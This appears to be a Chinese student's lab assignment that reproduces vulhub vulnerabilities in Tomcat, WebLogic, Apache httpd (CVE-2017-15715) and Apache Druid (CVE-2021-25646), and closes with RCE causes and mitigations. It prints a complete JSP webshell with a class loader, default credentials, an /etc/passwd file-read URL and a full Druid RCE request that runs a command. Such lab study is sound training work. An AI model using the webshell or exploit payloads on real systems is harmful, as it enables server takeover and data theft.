实训作业day08
一、在vps安装docker和docker-compose
-
XShell连接aliyun后,输入命令安装docker。
#sudo apt install docker.io
-
执行更新操作,然后安装docker-compose。命令如下:
#apt-get update //更新 #sudo apt install docker-compose //安装docker-compose
-
查询docker和docker-compose的版本,确认安装成功。
#docker --version #docker-compose --version
二、vulhub中的漏洞复现以及漏洞成因
tomcat 弱口令/后台文件上传getshell
-
修改daemon配置文件/etc/docker/daemon.json来使用aliyun的加速器。
#sudo mkdir -p /etc/docker //创建/etc/docker目录 #sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://2eiq72ko.mirror.aliyuncs.com"] } EOF //修改JSON 配置 #sudo systemctl daemon-reload //重新加载systemd的配置文件 #sudo systemctl restart docker //重启docker
-
进入tomcat8目录,启动tomcat。
#docker-compose up -d
-
到云服务器的管理控制台上找到IP为“47.108.222.178”,在浏览器输入“IP:8080”进入tomcat。
-
点击“Host Manager”,输入账号和密码(均为tomcat)登录,可看到上传war文件的地方。
-
在tomcat8的目录下新建shell.jsp文件,内容如下:
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>
-
安装jdk,然后将 shell.jsp 文件打包到jar 文件中。
#sudo apt update #sudo apt install default-jdk #jar -cvf shell.war shell.jsp
-
将shell.war放到本机的桌面上(使用的是xftp)。
-
上传该文件后,点击“./shell”,在url栏加上“shell.jsp”,复制后打开中国蚁剑。
-
添加数据,连接密码是“passwd”。
-
打开虚拟终端,输入任意命令。
weblogic 弱口令/任意文件读取
-
启动后Apache运行在“http:// http://47.108.250.194:7001/console/login/LoginForm.jsp”,使用默认口令weblogic/Oracle@123登录。
-
尝试使用“http://47.108.250.194:7001/hello/file.jsp?path=/etc/passwd”读取敏感文件。
-
成功下载file.htm,因此存在任意文件下载。访问“http:// 47.108.250.194:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat”读取密钥文件,同时使用burpsuite抓包。
-
发送给重放器,选择乱码部分,右键选择“Copy to file”,选择存储路径和文件名。
-
将文件名改成“./config/config.xml”,发送后在接收包找到特定标签“manager-password”复制,这是加密后的管理员密码。
-
找到weblogic的解密工具的路径,打开cmd输入“java -jar weblogic_decrypt.jar”启动工具。
-
输入密钥文件的路径和加密的密码,解密后是“Oracle@123”。
apache 换行解析/druid RCE
CVE-2017-15715(换行解析)
-
到本项目的路径“vulhub/httpd/CVE-2017-15715”下启动服务。
-
如果不能启动,先关闭服务,在daemon配置文件增加源后重启docker服务再启动。
{ "registry-mirrors": [ "https://docker.1panel.live", "https://hub.rat.dev/", "https://docker.chenby.cn", "https://docker.m.daocloud.io", "https://docker.anyhub.us.kg", "https://dockerhub.jobcher.com", "https://dockerhub.icu" ] }
-
打开目标地址 ”http://47.108.250.194:8080/“,打不开使用kali。
-
查询kail的IP是”192.168.13.128“,启动CVE-2017-15715服务。
-
在浏览器打开”http://192.168.13.128:8080/“,上传文件test.php,打开浏览器代理。
-
打开burpsuite拦截,点击“提交查询”抓包。
-
在文件名后添加“)”便于在”Hex“界面找到。将”)“对应的位置改为”0a“发送。
-
进入容器后发现生成了“test.php?”文件。
-
浏览器打开“http://192.168.13.128:8080/test.php?”。
CVE-2021-25646(druid RCE)
-
搭建druid-0.20.0环境。
#wget https://github.com/apache/druid/archive/druid-0.20.0.zip #apt install unzip #unzip druid-0.20.0.zip #cd druid-0.20.0/distribution/docker #docker-compose up -d
-
访问不了,用同学搭的一个环境”http://10.17.179.169:8888/unified-console.html”。
-
依次填入(Base directory)quickstart/tutorial/(File filter)wikiticker-2015-09-12-sampled.json.gz,点击“Apply”、“Next:Parse data”。
-
开启浏览器代理。
-
将抓到的包发送到重放器,修改后点击“Sent”。
-
将包覆盖成下面的内容再发送(修改.exec(‘ping -c 4 xxxx.dnslog.cn’)})的内容可执行不同命令):
POST /druid/indexer/v1/sampler HTTP/1.1 Host: 192.168.191.128:8888 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/json Content-Length: 998 Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 xxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
漏洞成因
漏洞 | 漏洞成因 |
---|---|
tomcat 弱口令 | Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 |
tomcat后台文件上传getshell | Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,再使用getshell工具可成功连接。 |
weblogic 弱口令 | 由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。服务器存在任意文件包含、下载等漏洞时,即使后台不存在弱口令,也可以通过破解的方式获取口令。 |
weblogic任意文件读取 | doGetJspRefreshRequest()方法中的“adminPath”也是request 中的header参数,在Post包中传入要读取的文件。进入该方法中,直接使用FileInputStream 类进行文件读取,故造成了所谓的“任意文件读取”漏洞。例如;访问”http://ip:7001/hello/file.jsp?path=/etc/passwd”可见成功读取passwd文件。 |
apache 换行解析 | 程序在解析PHP时,如果文件名最后有一个换行符x0A,apache依然会将其当成php解析,但是在上传文件时可以成功的绕过黑名单。 |
apache druid RCE | 在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。 |
三、RCE漏洞的原理和利用条件及解决方案
原理
-
RCE(远程命令执行)漏洞,一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果设计者在完成该功能时,没有做严格的安全控制,测可能会导致攻击者通过该接口提交“意想不到"的命令,从而让后台进行执行,从而控制整个后台服务器。
-
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
利用条件
-
开发人员调用了能够执行系统命令的函数。
-
传入exec()或者ProcessBuilder()的参数用户前端可控。
-
服务端未对传入参数进行检查或过滤不严。
解决方案
- 实际业务场景中可以使用相关的API代替Runtime和ProcessBuilder执行命令来实现,例如文件的操作可以使用相关的API函数。
- 对输入数据进行净化和检查,例如将任何引起参数或命令结束的字符进行转义,转义参数中所包含的特殊字符,使其无法对其当前执行进行截断,从而实现防范命令注入攻击的目的。
- 使用白名单的方式限制对应的参数值,例如只允许输入字符数字,下划线_,或者仅仅只能是邮箱、IP等。
- 各种框架、插件等位置都有可能出现命令执行,升级到新版本,多打补丁。
- 少用框架/CMS。
- 升级中间件。